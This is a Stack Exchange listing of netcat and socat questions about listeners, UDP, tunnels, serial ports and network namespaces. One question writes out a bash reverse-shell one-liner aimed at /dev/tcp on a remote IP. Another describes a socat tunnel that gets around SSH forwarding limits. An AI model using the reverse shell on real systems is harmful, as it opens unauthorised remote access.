Unix & Linux Stack Exchange
Q&A for users of Linux, FreeBSD and other Unix-like operating systems
Latest Questions
0
votes
1
answers
3296
views
send input to netcat and save output
I am trying to send a command to `netcat` which will result into an output and I want to save that output to a file. while true; do echo "showHistory userx"; done | nc -w1 xxx.xxx.xxx.xx 2222 > out.txt & I tried a lot of google searches and read a lot of stackexchange questions but could not solve i...
I am trying to send a command to
netcat
which will result into an output and I want to save that output to a file.
while true; do echo "showHistory userx"; done | nc -w1 xxx.xxx.xxx.xx 2222 > out.txt &
I tried a lot of google searches and read a lot of stackexchange questions but could not solve it. I played around with while
, tee
, mkfifo
but no luck.
The file out.txt
remains blank but has a lot of NUL
chars
Edit: I have updated showhistory
to showHistory userx
in order to highlight that it is a command to be supplied over telnet/netcat session
th3pirat3
(101 rep)
Feb 6, 2018, 10:44 PM
• Last activity: Jul 27, 2025, 08:08 PM
51
votes
6
answers
55438
views
/dev/tcp listen instead of nc listen
With a netcat listener like: nc -l / > ~/.bashrc My question is: Is there a way to mimic the capabilities of `nc -l ` in my first line with /dev/tcp instead of `nc`? The machines I'm working on are extremely hardened lab/sandbox environment RHEL (no ssh, no nc, no LDAP, no yum, I can't install new s...
With a netcat listener like:
nc -l / > ~/.bashrc
My question is: Is there a way to mimic the capabilities of
nc -l
in my first line with /dev/tcp instead of nc
?
The machines I'm working on are extremely hardened lab/sandbox environment RHEL (no ssh, no nc, no LDAP, no yum, I can't install new software, and they are not connected to the internet)
h3rrmiller
(13506 rep)
Oct 4, 2012, 06:26 PM
• Last activity: Jul 27, 2025, 06:42 PM
0
votes
1
answers
2353
views
Netcat listener: Line break between syslog messages
I am playing with `netcat` command. On this linux system, I have set up a netcat listener on UDP 514, so that I get to see syslog messages from remote systems. $ sudo nc -v -ulp 514 listening on [::]:514 ... connect to 192.168.20.252:514 from (null) ([::ffff:192.168.20.5]:58904) 60: *Mar 5 19:57:06....
I am playing with
netcat
command. On this linux system, I have set up a netcat listener on UDP 514, so that I get to see syslog messages from remote systems.
$ sudo nc -v -ulp 514
listening on [::]:514 ...
connect to 192.168.20.252:514 from (null) ([::ffff:192.168.20.5]:58904)
60: *Mar 5 19:57:06.735: %SYS-5-CONFIG_I: Configured from console by console61: *Mar 5 19:57:32.651: %SYS-5-CONFIG_I: Configured from console by console62: *Mar 5 20:10:10.127: %SYS-5-CONFIG_I: Configured from console by console
The logs are coming through, but there is no line break between events. I need a line break between events. The terminal output is enough and no need to store the logs. While the logs are not uniform, how can I achieve this?
Bruce Malaudzi
(1655 rep)
Mar 5, 2021, 08:14 PM
• Last activity: May 7, 2025, 11:03 AM
0
votes
3
answers
177
views
Send input from a file into a single netcat connection via a Bash script
I have tried the following to no avail, the script just stops after the first input. ```bash filename="..." while IFS="" read -r line; do echo "$line" | nc done "$PIPE" sleep 0.5 done ``` Is there an issue with netcat in Bash scripts?
I have tried the following to no avail, the script just stops after the first input.
filename="..."
while IFS="" read -r line; do
echo "$line" | nc
done "$PIPE"
sleep 0.5
done
Is there an issue with netcat in Bash scripts?
Jarrett GXZ
(101 rep)
Jan 30, 2025, 04:27 AM
• Last activity: Jan 31, 2025, 04:11 PM
0
votes
1
answers
2885
views
SOCAT (only) reverse tunnel
I have a situation where we are trying to get data from one network to another - specifically access to a private maven repo on a different network. Network 1 contains a maven repo. And network is protected by a couple SSH hops where port forwarding is disabled on `sshd`. - [Laptop], running a Docke...
I have a situation where we are trying to get data from one network to another - specifically access to a private maven repo on a different network.
Network 1 contains a maven repo. And network is protected by a couple SSH hops where port forwarding is disabled on
sshd
.
- [Laptop], running a Docker Container with VPN into other network laptop
- Docker Container vpn
- [Jumpbox] jumpbox.vpn.network.org
- [Server] server.vpn.network.org
We have successfully run vscode-server on **server** and connect via:
socat tcp-listen:8080,fork EXEC:"ssh server.vpn.network.org nc localhost 8081"
This lets laptop hit localhost:8080
and it tunnels traffic into our server.vpn
which then goes into netcat and sends the traffic into vscode server
I figure it should be possible to do the opposite I'm just getting stuck.
The goal would be to run a Socks5
proxy on laptop via something like
ssh -f -N -D 54321 localhost
And then make a socat call into server.vpn.network.org
and then using the socks env vars I could run maven and have it proxy back through the connection etc.
The approach I took was trying this:
socat -v TCP:localhost:54321 EXEC:"ssh server.vpn.network.org nc -lkv localhost 54321"
It was "sort" of working but kept dropping connection.
I then tried a combo of fork
and reuseaddr
and they didn't seem to solve the issue.
My next approach was to consider unix sockets or something funky - but I'm wondering if somebody knows how to make this work.
Thanks.
Jeef
(157 rep)
Jan 11, 2022, 08:51 PM
• Last activity: Dec 23, 2024, 01:00 AM
0
votes
1
answers
6064
views
netcat error: Inappropriate ioctl for device
Im trying to create a 'reverse shell' using a bash oneliner and a netcat listener. This combination worked great a few days ago however now it only gives errors when connection. Does anyone know what the error means and how I can troubleshoot or fix it? **Netcat listener** netcat -lvnp 1234 **Bash s...
Im trying to create a 'reverse shell' using a bash oneliner and a netcat listener. This combination worked great a few days ago however now it only gives errors when connection. Does anyone know what the error means and how I can troubleshoot or fix it?
**Netcat listener**
netcat -lvnp 1234
**Bash script:**
bash -i >& /dev/tcp/10.10.10.2/1234 0>&1
**Error** (when running the bash script)
bash: cannot set terminal process group (21268): Inappropriate ioctl for device
bash: no job control in this shell
bash: 0: No such file or directory
> Not sure if this is the right stackexchange for this question, feel free to move
toom
(101 rep)
Oct 5, 2018, 06:52 AM
• Last activity: Dec 14, 2024, 01:00 PM
0
votes
1
answers
509
views
Communicate with UNIX sockets opened by dbus-daemon
I'm trying to learn how to interact with message buses under Linux, and doing so with shell commands that doesn't involve utilities packaged under dbus-*. For this instance, I want to understand how socket opened by dbus-daemon are interpreted, and how the socket behaves in response to some user inp...
I'm trying to learn how to interact with message buses under Linux, and doing so with shell commands that doesn't involve utilities packaged under dbus-*. For this instance, I want to understand how socket opened by dbus-daemon are interpreted, and how the socket behaves in response to some user input. (e.g, send commands and receive a response output)
For the "reference implementation", namely
dbus-daemon
, looking at its user configuration file (session.conf
) under /usr/share/dbus-1
, the daemon opens an UNIX domain socket and listens on in based on transport names and subsequent options in the ` directive. By default, it is set to the transport name
unix with a
tmpdir set to
/tmp. Modifying the line with
path in place of
tmpdir to where the socket must reside in disk, a socket file by the respective path is created by running
dbus-deamon` as:
$ sudo dbus-daemon --session
By querying lsof
to list open sockets
sudo lsof -c dbus-daemon -aU -a +E
it indeed lists the path that was written on the configuration file. Now, I want to interact with the socket by sending it some data and inspecting its response. So far, I've tried netcat and socat.
$ echo | nc -U /tmp/socket -v
$ echo | socat - /tmp/socket
2024/12/12 22:55:47 socat E read(5, 0x61fb9e544000, 8192): Connection reset by peer
While netcat returns with nothing, I get a "connection reset by peer" error from socat when "" is being piped out and it is a string of words. Instead, if the input is a newline or a blank, socat exits successfully (however with no output). It makes me suspect a formatting problem of the input that the socket may accept.
I also tried configuring the daemon to open a TCP connection in the loopback address on port randomized by the kernel by setting port=0
(as mentioned in the manpage). Going by the output of lsof, I resolved the port which it's listening on.
$ echo | nc localhost 39231
nc: connect to localhost (::1) port 39231 (tcp) failed: Connection refused
Connection to localhost (127.0.0.1) 39231 port [tcp/*] succeeded!
Returns with connection refused.
It would be of help if anyone can explain:
1. The command interface for interacting with listening sockets
2. The right approach to send data to the socket
3. If it's possible to get a reply from the socket.
PatXio
(1 rep)
Dec 12, 2024, 07:26 PM
• Last activity: Dec 13, 2024, 06:16 AM
0
votes
1
answers
77
views
Can I use netcat to read data from a serial port?
We routinely use netcat (`nc`) to read data from UDP ports. For example: ```lang-shellsession user@host ~$ nc -luv 57303 Listening on [0.0.0.0] (family 0, port 57303) NAV 2024/12/05 12:09:56.326365 DPS112 $GPZDA,121003.35,05,12,2024,,*63NAV 2024/12/05 12:09:56.422294 DPS112 $GPGGA,121003.00,3251.764...
We routinely use netcat (
nc
) to read data from UDP ports. For example:
-shellsession
user@host ~$ nc -luv 57303
Listening on [0.0.0.0] (family 0, port 57303)
NAV 2024/12/05 12:09:56.326365 DPS112 $GPZDA,121003.35,05,12,2024,,*63NAV 2024/12/05 12:09:56.422294 DPS112 $GPGGA,121003.00,3251.764736,N,07957.683827,W,2,12,0.8,21.38,M,-32.34,M,11.0,1007*72NAV 2024/12/05 12:09:56.470322 DPS112 $GPGLL,3251.764736,N,07957.683827,W,121003.00,A,D*71NAV 2024/12/05 12:09:56.518252 DPS112 $GPVTG,292.37,T,,M,0.0,N,0.0,K,A*30NAV 2024/12/05 12:09:57.302279 DPS112 $GPZDA,121004.33,05,12,2024,,*62NAV 2024/12/05 12:09:57.398194 DPS112 $GPGGA,121004.00,3251.764735,N,07957.683825,W,2,12,0.8,21.38,M,-32.34,M,12.0,1007*77NAV 2024/12/05 12:09:57.446220 DPS112 $GPGLL,3251.764735,N,07957.683825,W,121004.00,A,D*77NAV 2024/12/05 12:09:57.478284 DPS112 $GPVTG,63.00,T,,M,0.0,N,0.0,K,A*08NAV 2024/12/05 12:09:58.310157 DPS112 $GPZDA,121005.33,05,12,2024,,*63NAV 2024/12/05 12:09:58.390253 DPS112 $GPGGA,121005.00,3251.764738,N,07957.683824,W,2,12,0.8,21.37,M,-32.34,M,13.0,1007*74^C
Is it possible to do the same with a serial port, e.g. /dev/ttyUSB0
? So far I haven't seen the appropriate options to do this, ending up with errors like this one:
-shellsession
user@host:~/tmp$ nc -lv 127.0.0.1:/dev/ttyUSB0
nc: getaddrinfo: Servname not supported for ai_socktype
user@host:~/tmp$ nc -lv 127.0.0.1:ttyUSB0
nc: getaddrinfo: Servname not supported for ai_socktype
This is on an Ubuntu installation.
PAUL MENA
(9 rep)
Dec 5, 2024, 02:20 PM
• Last activity: Dec 5, 2024, 02:52 PM
3
votes
2
answers
212
views
Why doesn't netcat print anything when listening in UDP mode when it can't reach the client even when the client can reach the server?
I'm using a fresh minimal Ubuntu server 24.04.1 LTS install. I run these commands as root to set up networking and do some experiments: ```sh apt install netcat-traditional ip netns add ns1 ip netns add ns2 ip link add my_veth1 type veth peer name my_veth2 ip link set my_veth1 up netns ns1 ip link s...
I'm using a fresh minimal Ubuntu server 24.04.1 LTS install.
I run these commands as root to set up networking and do some experiments:
apt install netcat-traditional
ip netns add ns1
ip netns add ns2
ip link add my_veth1 type veth peer name my_veth2
ip link set my_veth1 up netns ns1
ip link set my_veth2 up netns ns2
ip -n ns1 address add 1.2.3.4 dev my_veth1
ip -n ns1 route add 2.3.4.0/24 dev my_veth1
ip netns exec ns2 nc -u -l -p 8080
then I run this from another terminal:
ip netns exec ns1 nc -u 2.3.4.5 8080 ns2 my_veth2 gives the same output
So I tried creating the ARP table entry manually...
sh
ip -n ns1 neighbour add 2.3.4.5 dev my_veth1 lladdr $(ip netns exec ns2 cat /sys/class/net/my_veth2/address)
And now apparently the UDP packet is being sent
$ ip netns exec ns1 tcpdump -l -i my_veth1
00:24:15.164245 IP 1.2.3.4.36170 > 2.3.4.5.8080: UDP, length 39
> ns2 my_veth2 gives the same output
However, the first terminal that has the UDP netcat server running still doesn't output anything. Why?
---
**EDIT 3:** After doing all of the above, I tried assigning an IP address to my_veth2
:
sh
ip -n ns2 address add 2.3.4.5 dev my_veth2
And now, when I send the UDP packet, I get this error in the terminal that is running netcat in listen mode:
sh
no connection : Network is unreachable
```
Why? I mean, of course the network is unreachable, but that shouldn't stop the server from receiving and displaying UDP packets. In fact, that error is only displayed when it receives the UDP packet. So even if it knows that it can't answer, it should be able to receive and display the message, right?
Adrian
(249 rep)
Nov 22, 2024, 11:26 PM
• Last activity: Nov 26, 2024, 11:33 PM
2
votes
1
answers
573
views
Why am I getting no output in tcpdump even though there is data being sent and received when using network namespaces?
I'm using a fresh minimal Ubuntu server 24.04.1 LTS install. I run these commands as root to set up networking and do some experiments: > If you have seen [this post](https://unix.stackexchange.com/q/787076/203214), it's the same setup but with the ip address `2.3.4.5` assigned to `my_veth2` and the...
I'm using a fresh minimal Ubuntu server 24.04.1 LTS install.
I run these commands as root to set up networking and do some experiments:
> If you have seen [this post](https://unix.stackexchange.com/q/787076/203214) , it's the same setup but with the ip address
2.3.4.5
assigned to my_veth2
and the routing table entry 1.2.3.0/24
to make sure data can be sent and received from each network namespace.
# Terminal 1
apt install -y netcat-traditional tcpdump
ip netns add ns1
ip netns add ns2
ip link add my_veth1 type veth peer name my_veth2
ip link set my_veth1 up netns ns1
ip link set my_veth2 up netns ns2
ip -n ns1 address add 1.2.3.4 dev my_veth1
ip -n ns1 route add 2.3.4.0/24 dev my_veth1
ip -n ns2 address add 2.3.4.5 dev my_veth2
ip -n ns2 route add 1.2.3.0/24 dev my_veth2
ip netns exec ns2 nc -l -p 8080
then I open 2 more terminals to run tcpdump
in each network namespace:
# Terminal 2
ip netns exec ns1 tcpdump -i my_veth1
# Terminal 3
ip netns exec ns2 tcpdump -i my_veth2
then I open one more last terminal to send data to the netcat server in ns2 from ns1:
# Terminal 4
ip netns exec ns1 nc 2.3.4.5 8080 <<< 'Hello world from network namespace ns1'
Results:
* The message sent from Terminal 4 is printed in Terminal 1, as expected.
* No packets are being shown in either tcpdump. **WHY?**
Adrian
(249 rep)
Nov 24, 2024, 08:23 PM
• Last activity: Nov 24, 2024, 11:25 PM
0
votes
1
answers
740
views
Basic webserver supporting post+get (using curl and netcat)
Sorry if the question's title isn't clear about the objective of this question. I was able to make a respond-only webserver using Bash only; when it gets a curl post request, it returns results no matter what the input. ## The post request ```bash curl -d '{"Name":"Lorem", "age":"34"}' -H "Content-T...
Sorry if the question's title isn't clear about the objective of this question.
I was able to make a respond-only webserver using Bash only; when it gets a curl post request, it returns results no matter what the input.
## The post request
curl -d '{"Name":"Lorem", "age":"34"}' -H "Content-Type: application/json" -X POST http://:8080/
## The server's script (server.sh)
#!/bin/bash
while true; do
echo -e "HTTP/1.1 200 OK\n\nTitle
$(date)" \
| nc -l -k -p 8080 -q 1;
nc -l -k -p 8080 -q 1 | cat - | grep -o '{...\+}';
done
In the first time I curl, it returns HTTP/1.1 200 OK\n\nTitle
$(date)
correctly, but not the nc -l -k -p 8080 -q 1 | cat - | grep -o '{...\+}';
, and curl exits.
In the second time using curl, it doesn't return HTTP/1.1 200 OK\n\nTitle
$(date)
and now returns the result of nc -l -k -p 8080 -q 1 | cat - | grep -o '{...\+}';
and curl doesn't exit.
The idea is to process the input from curl (using nc -l -k -p 8080 -q 1 | cat - | grep -o '{...\+}';
+ jq
) but also to respond and then close curl/the connection.
Daniella Mesquita
(9 rep)
Mar 18, 2022, 06:20 PM
• Last activity: Nov 20, 2024, 11:25 AM
1
votes
1
answers
87
views
How does netcat-openbsd work with UDP?
On a Ubuntu system I have the netcat(-openbsd) package installed, the one that, when run with no parameters, prints: ``` This is nc from the netcat-openbsd package. An alternative nc is available in the netcat-traditional package. usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length...
On a Ubuntu system I have the netcat(-openbsd) package installed, the one that, when run with no parameters, prints:
* If I omit the
This is nc from the netcat-openbsd package. An alternative nc is available
in the netcat-traditional package.
usage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]
[-P proxy_username] [-p source_port] [-q seconds] [-s source]
[-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]
[-x proxy_address[:port]] [destination] [port]
I run this command, which I think listens on a UDP port:
nc -v -u -l -k 1234
Then in another terminal I run this to talk to the listener:
nc -v -u 127.0.0.1 1234
But this behaves very different than I expect:
* When I run the second command (sender), the first one (listener) starts printing "X" characters, one per seconds, 5 times. Only then the sender reports a successful connection. (How does it even know with UDP?)

-v
parameter on the sender side, which I thought only sets the logging verbosity, then the "X" characters are not printed on the listener side and instead the connection is established immediately.
* Despite giving the -k
parameter on the listener side, once I make a connection to the listener, the listener seems to be "used up". If I kill (Ctrl+C) the sender and start it again, any data sent is lost (does not appear on the listener side).
What am I missing? How do I *correctly* listen on a UDP port?
**Edit:** I found a way that works well (socat -u UDP-RECV:1234 STDOUT
) but I'm keeping this question open because I'm still interested in an explanation.
AndreKR
(1218 rep)
Nov 12, 2024, 04:15 AM
• Last activity: Nov 12, 2024, 08:14 AM
0
votes
0
answers
209
views
Using netcat stty not giving complete tty shell when doing CTRL+Z
I'm using `netcat` and `stty` to get terminal (tty) access, but I'm not able to do so as the CTRL + Z action on the `netcat` session is giving me `suspended session` instead of `stopped` and then I'm not able to resume the suspended session. [![enter image description here][1]][1] However, what I ex...
I'm using
However, what I expect the output to show as
Also in the first pic you can see as I try to enter
netcat
and stty
to get terminal (tty) access, but I'm not able to do so as the CTRL+Z action on the netcat
session is giving me suspended session
instead of stopped
and then I'm not able to resume the suspended session.

stopped
as shown here

fg
for the second time I get ^M
plus its says continued sudo
I'm not sure what wrong I'm doing as I'm just following the guide mentioned here.
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
asadz
(233 rep)
Jan 2, 2024, 01:00 PM
• Last activity: Sep 27, 2024, 01:10 PM
2
votes
2
answers
3678
views
How do I write a simple request/response tcp server using `nc`?
I’m trying to write a request/response TCP server to handle a small number of very simple commands. I'm using a shell script to be as portable as possible, avoiding compilation or requiring specific runtimes of a programming language. I would like it to be able to respond to the client saying the re...
I’m trying to write a request/response TCP server to handle a small number of very simple commands. I'm using a shell script to be as portable as possible, avoiding compilation or requiring specific runtimes of a programming language.
I would like it to be able to respond to the client saying the result of the command, meaning the response has to be dynamic.
I'm currently trying to use
nc
:
mkfifo commands
mkfifo nc_responses
nc -k -l 47201 >commands nc_responses
done
Here's the output of calling it in a second shell:
$ nc localhost 47201 <<< 'command 1'
$ nc localhost 47201 <<< 'command 2'
Ran command 1
$ nc localhost 47201 <<< 'command 3'
Ran command 2
$ nc localhost 47201 <<< 'command 4'
Ran command 3
As you can see, the response lags the request by one.
Can anyone see a way to fix that, so that the response is dynamically generated from the request?
(For context - this is using bash
on macOS
, with macOS
's built-in nc
)
Robert Elliot
(121 rep)
Dec 22, 2020, 12:56 PM
• Last activity: Aug 30, 2024, 05:02 AM
0
votes
3
answers
92
views
Sending to linux serial tty from embedded system too fast
I use an embedded computer to send data to a Linux serial port for transfer to a remote server. The terminal mode is "none". After my embedded system logs in, it sends data for example, printf "123456789ABCDEF" | netcat -u -q 5 dest_addr dest_port The data arrives at the remote server correctly, but...
I use an embedded computer to send data to a Linux serial port for transfer to a remote server. The terminal mode is "none". After my embedded system logs in, it sends data for example,
printf "123456789ABCDEF" | netcat -u -q 5 dest_addr dest_port
The data arrives at the remote server correctly, but the Linux terminal echos back repeated fragments of the data and lots of \08
Using the above case as a truncated example (actual data is 200 bytes), what is echoed back to my embedded system looks like this:
user@mymachine:~$ printf 1234
<4567
\08\08\0889ABC
\08\08\08\08
Ed309
(1 rep)
Aug 24, 2024, 10:17 PM
• Last activity: Aug 26, 2024, 11:59 AM
1
votes
2
answers
2702
views
ncat v7.6 UDP -k and -w not working as expected
At work ( BSD nc version ) and on many internet examples ncat can listen to udp and be used with the following options : 1. `-k` which allows multiple connections 2. `-w 0` which terminates the current connection when the client disconnects At home I have the following Command : Ncat: Version 7.60 (...
At work ( BSD nc version ) and on many internet examples ncat can listen to udp and be used with the following options :
1.
-k
which allows multiple connections
2. -w 0
which terminates the current connection when the client disconnects
At home I have the following
Command : Ncat: Version 7.60 ( https://nmap.org/ncat )
OS : Fedora 27
I am unable to use either -k
or -w 0
.
ncat -klu localhost 8000
Ncat: UDP mode does not support the -k or --keep-open options, except with --exec or --sh-exec. QUITTING.
nc -luw 0 localhost 8000
Ncat: Invalid -w timeout (must be greater than 0). QUITTING.
How do I do the keep alive and the instant timeout in my version of ncat? ( man page does not help )
Thanks
rlon134
(21 rep)
Jun 16, 2018, 01:52 PM
• Last activity: Aug 20, 2024, 05:04 PM
4
votes
1
answers
1136
views
'netcat' not working as expected on Arch, but works on openSUSE Tumbleweed? What's going on?
I'm having a bit of trouble utilising `netcat` on Arch, specifically, the GNU version of it. My situation: I basically made a simple server in Python that can accept multiple clients and send responses. To test for input/output, I made a whole lot of automated testing scripts that would send data th...
I'm having a bit of trouble utilising
netcat
on Arch, specifically, the GNU version of it.
My situation: I basically made a simple server in Python that can accept multiple clients and send responses. To test for input/output, I made a whole lot of automated testing scripts that would send data through netcat
to the server and compare the output with what was expected.
On the environment where I developed the server and the test cases, which was openSUSE Tumbleweed, piping text to GNU netcat
with
echo "text" | netcat -w 2 -i 2 ip port > somefile.outworked just as expected -
netcat
sent data to the server, got the response and redirected it to the file. However, on Arch, it almost seems like the -w
or -i
flags don't do anything - netcat
just stays connected indefinitely until I manually have to close the connection. Even when I tried the flags individually, it exhibited similar behaviour.
I tried to use another method with timeout 2 netcat ...
, which does stop netcat
from running, but for some reason also stops my entire script and prevents further calls to netcat
from running at all.
In desperation, I even tried compiling GNU netcat
from source, and still faced the problem. I tried to search for anyone else having a similar issue on the internet but I wasn't able to find anything that matched my circumstances.
Would anybody know what is happening? I feel like I'm losing my mind. Surely it shouldn't work differently across different distros, unless I'm misunderstanding something?
cpolish
(41 rep)
Nov 16, 2021, 01:17 PM
• Last activity: Aug 10, 2024, 03:38 PM
-1
votes
2
answers
144
views
How I could check connectivity in shell using an oneliner command without using netcat?
In a docker image I want to avoid installing netcat in order to ping for db connectivity at my entrypoint script: ``` /bin/sh MOODLE_DB_HOST="xxxx" MOODLE_DB_PORT=80 function pingdb { OK=0 for count in {1..100}; do echo "Pinging database attempt ${count} into ${MOODLE_DB_HOST}:${MOODLE_DB_PORT}" if...
In a docker image I want to avoid installing netcat in order to ping for db connectivity at my entrypoint script:
/bin/sh
MOODLE_DB_HOST="xxxx"
MOODLE_DB_PORT=80
function pingdb {
OK=0
for count in {1..100}; do
echo "Pinging database attempt ${count} into ${MOODLE_DB_HOST}:${MOODLE_DB_PORT}"
if $(nc -z ${MOODLE_DB_HOST} ${MOODLE_DB_PORT}) ; then
echo "Can connect into database"
OK=1
break
fi
sleep 5
done
echo "Is ok? "$OK
if [ $OK -eq 1 ]; then
echo "Database type: "${MOODLE_DB_TYPE}
echo "DB Type: "${MOODLE_DB_TYPE}
else
echo >&2 "Can't connect into database"
exit 1
fi
}
But instead, I want to use a nc
replacement for entrypoint script running upon docker images utilising php.
Is there an alternative?
The reason why I want to do this is because I have 2 Dockerfiles, one debian-based and one alpine based:
debian-based php image:
ARG PHP_VERSION="7.4"
FROM php:${PHP_VERSION}-fpm as base
RUN --mount=type=bind,from=mlocati/php-extension-installer:latest,source=/usr/bin/install-php-extensions,target=/usr/local/bin/install-php-extensions \
/usr/local/bin/install-php-extensions xmlrpc mbstring zip xml intl soap gd opcache &&\
echo "PHP_EXTENTION_DIR="$(php -i | grep extension_dir | cut -d " " -f 5) >> /etc/environment &&\
cat /etc/environment &&\
apt-get update &&\
apt-get install -y netcat &&\
apt-get autopurge -y &&\
apt-get autoremove -y &&\
apt-get autoclean &&\
rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* cache/* /var/lib/log/* &&\
echo "max_input_vars=5000" > ${PHP_INI_DIR}/conf.d/moodle.ini
COPY ./scripts/entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chown root:root /usr/local/bin/entrypoint.sh &&\
chmod +x /usr/local/bin/entrypoint.sh
ENTRYPOINT ["/bin/sh","/usr/local/bin/entrypoint.sh"]
CMD ["php-fpm"]
And alpine-based:
ARG PHP_VERSION="7.4"
FROM php:${PHP_VERSION}-fpm-alpine as base
RUN --mount=type=bind,from=mlocati/php-extension-installer:latest,source=/usr/bin/install-php-extensions,target=/usr/local/bin/install-php-extensions \
/usr/local/bin/install-php-extensions xmlrpc mbstring zip xml intl soap gd opcache &&\
apk update &&\
apk add netcat-openbsd &&\
rm -rf /var/cache/apk/* /var/tmp/* cache/* /var/lib/log/* &&\
echo "max_input_vars=5000" > ${PHP_INI_DIR}/conf.d/moodle.ini
COPY ./scripts/entrypoint.sh /usr/local/bin/entrypoint.sh
RUN chown root:root /usr/local/bin/entrypoint.sh &&\
chmod +x /usr/local/bin/entrypoint.sh
ENTRYPOINT ["/bin/sh","/usr/local/bin/entrypoint.sh"]
CMD ["php-fpm"]
And sometimes depending the argument of PHP_VERSION
may or may not the package for installing netcat do exist (or exist with different names). Also apk add
and apt-get
increases the build times significally as well.
So is there an alternative approach?
Dimitrios Desyllas
(1301 rep)
Jan 3, 2024, 09:07 PM
• Last activity: Aug 8, 2024, 10:48 AM
0
votes
0
answers
102
views
Check if a port is blocked with socat
- How to check if a port is blocked with `socat`? - How to check with IPv6? I heard a saying that machines behind NAT can still be directly connected via IPv6, is that true? Anyway, say I have a machine behind very complicated setup, and I want to verify if a certain port can be reached, by either I...
- How to check if a port is blocked with
socat
?
- How to check with IPv6?
I heard a saying that machines behind NAT can still be directly connected via IPv6, is that true?
Anyway, say I have a machine behind very complicated setup, and I want to verify if a certain port can be reached, by either IPv4 or IPv6, how to do that with socat
?
Basically I need to start socat
on the machine to listen, then try to conect to it via socat
from other machines. I've read https://copyconstruct.medium.com/socat-29453e9fc8a6 , and found it a bit complicated, but I cannot just use netcat
because my netcat version does not support IPv6, as per https://unix.stackexchange.com/questions/457670/netcat-how-to-listen-on-a-tcp-port-using-ipv6-address .
xpt
(1858 rep)
Aug 7, 2024, 04:12 PM
9
votes
1
answers
26403
views
What do the %h and %p do in this command?
`$ ssh -o User=fred -o ProxyCommand="nc -X 5 -x localhost:9150 %h %p" server.example.org` It's from http://en.wikibooks.org/wiki/OpenSSH/Cookbook/Proxies_and_Jump_Hosts I can't find any comments about the `%h` and `%p` arguments.
$ ssh -o User=fred -o ProxyCommand="nc -X 5 -x localhost:9150 %h %p" server.example.org
It's from http://en.wikibooks.org/wiki/OpenSSH/Cookbook/Proxies_and_Jump_Hosts
I can't find any comments about the %h
and %p
arguments.
AGamePlayer
(7845 rep)
Feb 10, 2015, 08:09 AM
• Last activity: May 23, 2024, 09:02 PM
Showing page 1 of 20 total questions